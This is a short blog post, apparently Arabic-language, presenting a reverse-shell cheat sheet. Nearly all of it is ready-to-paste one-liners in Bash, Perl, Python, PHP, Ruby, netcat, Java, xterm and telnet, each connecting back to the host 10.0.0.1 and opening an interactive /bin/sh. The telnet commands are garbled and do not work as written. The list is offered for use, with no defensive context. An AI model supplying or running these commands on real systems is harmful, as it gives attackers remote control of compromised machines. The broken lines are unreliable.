Reverse Shell Cheat Sheet

بسم الله الرحمن الرحيم

اللهم صل وسلم على سيدنا محمد وعلى آله وصحبة اجمعين

اللهم لا علم لنا الا ماعلمتنا اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم

كل عام وانتم بخير واعاده الله علينا وعليكم بالصحة والسلامة

الموضوع يتطرق لعدة طرق للاتصال العكسي




#BASH

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
 
 
 
#PERL 

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};'
 
 
#Python
 
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

#PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
 
#Ruby
 
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 

#NetCat

nc -e /bin/sh 10.0.0.1 1234
 
طريقة اخرى لاستخدام النت كات 
 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
 
 
#Java
 
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 |
 while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor() 

#Xtrem

xterm -display 10.0.0.1:1
 
#Telnet
 
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 4444 0/tmp/p
 
telnet 10.0.0.1 4444 | /bin/bash | 10.0.0.1 4445 # التنصت ايضا على البورت 4445
 
 
 
 
اي امر من الاوامر السابقة يكتب في سطر واحد فقط 
 
 
الى هنا ينتهي الموضوع 
 
اذا اعجبتك فاذكر الله وادع لي وان لم اعجبك فانتقدني لاصبح افضل  

تعليقات

المشاركات الشائعة من هذه المدونة

CRLF injection [\r\n Carriage Return]

Study in Nosql-Injection-Mongodb